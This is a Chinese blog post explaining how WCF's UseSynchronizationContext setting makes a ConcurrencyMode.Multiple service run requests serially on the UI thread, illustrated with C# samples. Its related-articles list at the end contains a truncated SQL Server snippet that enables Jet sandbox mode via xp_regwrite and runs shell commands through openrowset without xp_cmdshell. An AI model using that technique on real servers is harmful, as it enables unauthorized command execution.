ConcurrencyMode.Multiple模式下的WCF服务就一定是并发执行的吗:探讨同步上下文对并发的影响[上篇]

在《并发与实例上下文模式》中,我们通过实例演示的方式讲述了基于不同实例上下文模式的并发行为。对于这个实例中的服务类型CalculatorService,读者应该还记得我们对它进行了特别的定义:通过ServiceBehaviorAttribute特性将属性将UseSynchronizationContext设置成False。至于为何要这么做,这就是本篇文章需要为你讲述的内容。为了让读者对本节介绍的内容有一个深刻的认识,我们不然去掉ServiceBehaviorAttribute特性的UseSynchronizationContext,看看最终会表现出怎样的并发行为。

一、倘若去除ServiceBehaviorAttribute的UseSynchronizationContext属性

现在,我们对监控程序实例中的CalculatorService进行了一些小小的改动,将ServiceBehaviorAttribute特性的UseSynchronizationContext属性设置为True(由于True是默认值,你也可以直接将该属性去掉)。修改后的代码如下所示,采用单调实例上下文模式。你可以通过这里下载整个例子的源代码。

   1: [ServiceBehavior(InstanceContextMode = InstanceContextMode.PerCall, UseSynchronizationContext = true)]
   2: public class CalculatorService : ICalculator
   3: {
   4:     //省略成员    
   5: }

为了让读者得到更多关于并发处理的信息,我们让最终输出的监控信息包含当前线程的ID。为此,我们需要在事件参数类型MonitorEventArgs添加如下一个ThreadId属性。在构造MonitorEventArgs对象的时候,该属性取当前线程ID。

   1: public class MonitorEventArgs : EventArgs
   2: {
   3:     //其他成员
   4:     public int ThreadId
   5:     { get; private set; }
   6:  
   7:     public MonitorEventArgs(int clientId, EventType eventType, DateTime eventTime)
   8:     {
   9:         //其他属性赋值
  10:         this.ThreadId = Thread.CurrentThread.ManagedThreadId;
  11:     }
  12: }

然后我们在寄宿服务的监控窗口中,通过修改用于接收监控信息的方法ReceiveMonitoringNotification,将当前事件对应的线程ID输出来,相应的改动如下所示:

   1: public partial class MonitorForm : Form
   2: {
   3:     //其他成员
   4:     private void MonitorForm_Load(object sender, EventArgs e)
   5:     {
   6:         string header = string.Format("{0, -13}{1, -22}{2,-20}{3,-20}", "Client", "Time", "Thread","Event");
   7:         this.listBoxExecutionProgress.Items.Add(header);
   8:         //其他操作
   9:     }
  10:  
  11:     public void ReceiveMonitoringNotification(object sender, MonitorEventArgs args)
  12:     {
  13:         string message = string.Format({0, -13}{1, -22}{2,-20}{3,-20}", args.ClientId, args.EventTime.ToLongTimeString(), args.ThreadId, args.EventType);
  14:         _syncContext.Post(state => this.listBoxExecutionProgress.Items.Add(message), null);
  15:     }
  16: }

如果现在运行我们的监控信息,你将会得到如图1所示的输出结果。该监控结果反映了两个重要的信息:服务操作的执行是串行化执行的;服务端采用同一个线程执行的(线程ID相同)。

 图1 去除UseSynchronizationContext得到的监控结果

实际上,正是因为所有服务操作的执行都是在同一个线程执行,才会表现出串行化执行的行为。那么,是什么导致客户端并发服务请求最终被分发到同一个线程上面呢?通过上面的分析,我们知道这不可能是WCF并发体系的同步机制所致,因为该不同机制是通过对InstanceContext的锁定来实现的。由于CalculatorService采用的是单调实例上下文模式,每一个服务调用请求都会分发给一个全新的封装有服务实例的InstanceContext。

通过实例我们很清楚地看到,通过去除ServiceBehaviorAttribute特性的UseSynchronizationContext属性定义让我们的服务端失去了并发执行的能力。接下来,我们将着力剖析其背后的原因。不过在这之前,我们需要了解一下UseSynchronizationContext属性中设置到的SynchronizationContext,即同步上下文是什么。

二、 什么是同步上下文(SynchronizationContext)

在一个多线程的应用中,我们经常会遇到这样的场景:在一个异步执行的方法中,需要将部分操作递交给其他某个线程执行。最为典型的场景就是在一个基于Windows Form的GUI应用中,如果异步方法调用涉及到对某个窗体中的某个控件的操作,需要将该操作递交给UI线程中执行,因为控件只能在自己被创建的线程中被操作。这个时候,我们可以采用两种解决方案,其一就是调用System.Windows.Forms.Control的Invoke或者BeginInvoke方法,将相应的操作通过委托的方式传入该方法中执行,其二就是利用同步上下文(SynchronizationContext)。如果细心的朋友,应该已经注意到了在我们前面(《实践重于理论》、《并发与实例上下文模式》和《回调与并发》)广泛使用到的监控程序中,不论在客户端还是服务端,我们写入事件监控信息时就使用到了SynchronizationContext对象。

同步上下文实际上为我们定义这样的编程模式:将某个操作封送(Marshal)到某个指定的线程,使其在目标线程上下文中被执行。同步上下文是在.NET
Framework
2.0中被引入一种多线程机制,通过System.Threading.SynchronizationContext表示。SynchronizationContext是一个抽象类,其本身并不提供具体的操作封送的实现。SynchronizationContext定义如下:

   1: public class SynchronizationContext
   2: {
   3:     //其他成员    
   4:     public virtual void Post(SendOrPostCallback d, object state);
   5:     public virtual void Send(SendOrPostCallback d, object state);
   6:     public static SynchronizationContext Current { get; }
   7: }

SynchronizationContext与某个线程绑定,属于线程执行上下文(Execution Context)的一部分,存储于线程本地存储(TLS: Thread Local Storage)中。在SynchronizationContext所有成员中,最重要的就是SendPost两个方法。调用者调用Send或者Post方法,以SendOrPostCallback委托的形式将相应的操作封送到SynchronizationContext对应的线程中执行。Send和Post具有相同的方法签名,它们之间的不同之处在于Send是基于同步调用,而Post则是异步的。静态只读属性Current获取存贮与当前TLS的SynchronizationContext,如果不存在则返回NULL。

再次回到我们前面闯将的监控程序的例子,对于服务端来说,接收监控事件通知操作和服务操作执行在相同的线程中。如果将ServiceBehaviorAttribute的UseSynchronizationContext属性设置成False,那么该线程就不是服务寄宿的UI线程。对于客户端来说,由于服务调用是以异步的方式进行的,所以接收监控事件通知操作也在UI线程上执行。在输出监控信息的时候,我们需要对监控窗体的空间进行操作,由于控件是在UI线程上被创建的,所以不能在监控线程中对其进行直接操作。异步线程对UI线程的操作,我们就是通过获取UI线程的SynchronizationContext实现的。对于Windows

Forms应用,具体的SynchronizationContext类型是System.Windows.Forms.WindowsFormsSynchronizationContext。关于WindowsFormsSynchronizationContext以及SynchronizationContext的其他相关成员的介绍,有兴趣的读者可以参阅MSDN。

为了让读者更加容易地理解SynchronizationContext在WCF并发处理体系中的影响,我们来可以做一个相关的演示实例。我们创建一个Windows

Forms应用,添加一个类似于我们监控程序中的窗体,里面仅仅包含用于输出进度信息的ListBox。然后我们在窗体的Load事件中编写如下的代码。

   1: int index = 0;
   2: SynchronizationContext syncContext = SynchronizationContext.Current;
   3: this.listBoxExecutionProgress.Items.Add(string.Format("{0, -10}{1,-10}{2}", "Task", "Thread","Time"));
   4: for(int i=0; i<5;i++)
   5: {
   6:     int taskSequence = Interlocked.Increment(ref index);
   7:     ThreadPool.QueueUserWorkItem(state1 =>
   8:         {
   9:             syncContext.Post(state2 =>
  10:                 {
  11:                     Thread.Sleep(5000);
  12:                     string message = string.Format("{0, -10}{1,-10}{2}", taskSequence,Thread.CurrentThread.ManagedThreadId, DateTime.Now.ToLongTimeString());
  13:                     this.listBoxExecutionProgress.Items.Add(message);
  14:                 }, null);
  15:         }, null);
  16: }

上面一段简单的程序模拟这样的场景:通过ThreadPool并行5个相对耗时的操作(每一个耗时5秒,通过让线程休眠实现),并在操作执行结束后打印出当前时间和线程ID。但是,这5个并行操作最终却是在UI线程的SynchronizationContext中执行的。程序运行后将会得到如图2所示的输出结果。

 图2 并行操作在相同SynchronizationContext中执行结果

图2反映出来的结果与上面我们去除掉应用在CalculatorServiceAttribute的UseSynchronizationContext属性定义后服务端得到的监控结果比较类似(图1):5个本应该在不同线程中并行执行的操作最终却是在相同的线程(实际上就是UI线程)中串行执行的。这五个并行处理操作可以看成是并发请求对应的5个服务操作。这种串行化执行并发请求的服务操作时如何产生的呢?敬请关注《下篇》

作者:蒋金楠
微信公众账号:大内老A
微博:www.weibo.com/artech
如果你想及时得到个人撰写文章以及著作的消息推送,或者想看看个人推荐的技术资料,可以扫描左边二维码(或者长按识别二维码)关注个人公众号(原来公众帐号蒋金楠的自媒体将会停用)。
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。

原文链接

时间: 2024-10-29 13:13:07

ConcurrencyMode.Multiple模式下的WCF服务就一定是并发执行的吗:探讨同步上下文对并发的影响[上篇]的相关文章

ConcurrencyMode.Multiple 模式下的WCF服务就一定是并发执行的吗:探讨同步上下文对并发的影响[下篇]

在<上篇>中,我通过一个具体的实例演示了WCF服务宿主的同步上下文对并发的影响,并简单地介绍了同步上下文是什么东东,以及同步上下文在多线程中的应用.那么,同步上下文在WCF并发体系的内部是如何影响服务操作的执行的呢?这实际上涉及到WCF的一个话题,即线程的亲和性(Thread Affinity),本篇文章将为你剖析WCF线程亲和机制的本质. 一.WCF线程亲和性(Thread Affinity) 对于服务端来说,WCF消息监听和接收体系通过IO线程池并发的处理来自客户端的服务调用请求,所以并发

SA 沙盘模式下不用恢复xp_cmdshell和xplog70.dll也执行命令_安全相关

首先开启沙盘模式: exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 然后利用jet.oledb执行系统命令 select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell(

wcf+silverlight 在ie10兼容模式下正常调用wcf服务,在标准模式下无法调用

问题描述 wcf+silverlight 在ie10兼容模式下正常调用wcf服务,在标准模式下无法调用 wcf+silverlight程序,在chrome,firfox,ie6-ie9下都能正常访问wcf服务,但是在ie10和ie11下访问wcf服务就报500错误了(我用fiddler监听看到的状态).还有在开发环境和部署在本地iis上是能正常访问的.部署到服务器后在ie10和ie11兼容模式下也可以正常访问. 我想问为什么部署到服务器后在ie10和ie11标准模式下无法调用wcf服务? 网站:

Self Host模式下的ASP. NET Web API是如何进行请求的监听与处理的?

构成ASP.NET Web API核心框架的消息处理管道既不关心请求消息来源于何处,也不需要考虑响应消息归于何方.当我们采用Web Host模式将一个ASP.NET应用作为目标Web API的宿主时,实际上是由ASP.NET管道解决了这两个问题.具体来说,ASP.NET自身的URL路由系统借助于HttpControllerHandler这个自定义的HttpHandler实现了ASP.NET管道和ASP.NET Web API管道之间的"连通",但是在Self Host寄宿模式下,请求的

jQuery ajax调用WCF服务实例_jquery

恩,在由瘦客户端转换成胖浏览器端的"潮流"下,必然要使用JavaScript调用后台的各种服务. 屌丝所维护的产品通信都是使用的WCF服务,因此必然要学习这样的内容.借用jQuery强大的库,使用JavaScript访问WCF服务非常简便.同事研究了一个breeze库,那么屌丝就来试验一下ajax.这里把实现简单地记录以便马克一下,以后忘了就看这篇日志来作弊. 一.更改WCF服务的配置 默认情况下,WCF服务是不允许使用HTTP请求来访问的.我们需要将WCF服务的配置文件(注意如果有其

并发与实例上下文模式: WCF服务在不同实例上下文模式下的并发表现

由于WCF的并发是针对某个封装了服务实例的InstanceContext而言的,所以在不同的实例上下文模式下,会表现出不同的并发行为.接 下来,我们从具体的实例上下文模式的角度来剖析WCF的并发,如果对WCF实例上下文模式和实例上下文提供机制不了解的话,请参阅<WCF 技术剖析(卷1)>第9章. 在<实践重于理论>一文中,我写一个了简单的WCF应用,通过这个应用我们可以很清楚了监控客户端和服务操作的执行情况下.借此 ,我们可以和直观地看到服务端对于并发的服务调用请求,到底采用的是并

WCF技术剖析之五:利用ASP.NET兼容模式创建支持会话(Session)的WCF服务

在<基于IIS的WCF服务寄宿(Hosting)实现揭秘>中,我们谈到在采用基于IIS(或者说基于ASP.NET)的WCF服务寄宿中,具有两种截然不同的运行模式:ASP.NET并行(Side by Side)模式和ASP.NET兼容模式.对于前者,WCF通过HttpModule实现了服务的寄宿,而对于后者,WCF的服务寄宿通过一个HttpHandler实现.只有在ASP.NET兼容模式下,我们熟悉的一些ASP.NET机制才能被我们使用,比如通过HttpContext的请求下下文:基于文件或者U

[老老实实学WCF] 第十篇 消息通信模式(下) 双工

原文:[老老实实学WCF] 第十篇 消息通信模式(下) 双工 老老实实学WCF 第十篇 消息通信模式(下) 双工   在前一篇的学习中,我们了解了单向和请求/应答这两种消息通信模式.我们知道可以通过配置操作协定的IsOneWay属性来改变模式.在这一篇中我们来研究双工这种消息通信模式.   在一定程度上说,双工模式并不是与前面两种模式相提并论的模式,双工模式的配置方法同前两者不同,而且双工模式也是基于前面两种模式之上的.   在双工模式下,服务端和客户端都可以独立地调用对方,谁都不用等待谁的答复

微信服务号开发模式下,如何获取用户发送给服务号的信息,转给客服,再将客服回答信息转给用户?

问题描述 微信服务号开发模式下,如何获取用户发送给服务号的信息,转给客服,再将客服回答信息转给用户? 开发一个微信转接接口,需求是:微信服务号在开发者模式下,也就是有基本配置(服务器配置),获取到用户向服务号发送的信息,转接到在线客服,然后客服回答的信息在转接到用户,起到转接作用. 解决方案 收到信息后回复success或者空内容,保存微信发送的相关信息:http://mp.weixin.qq.com/wiki/1/6239b44c206cab9145b1d52c67e6c551.html 怎么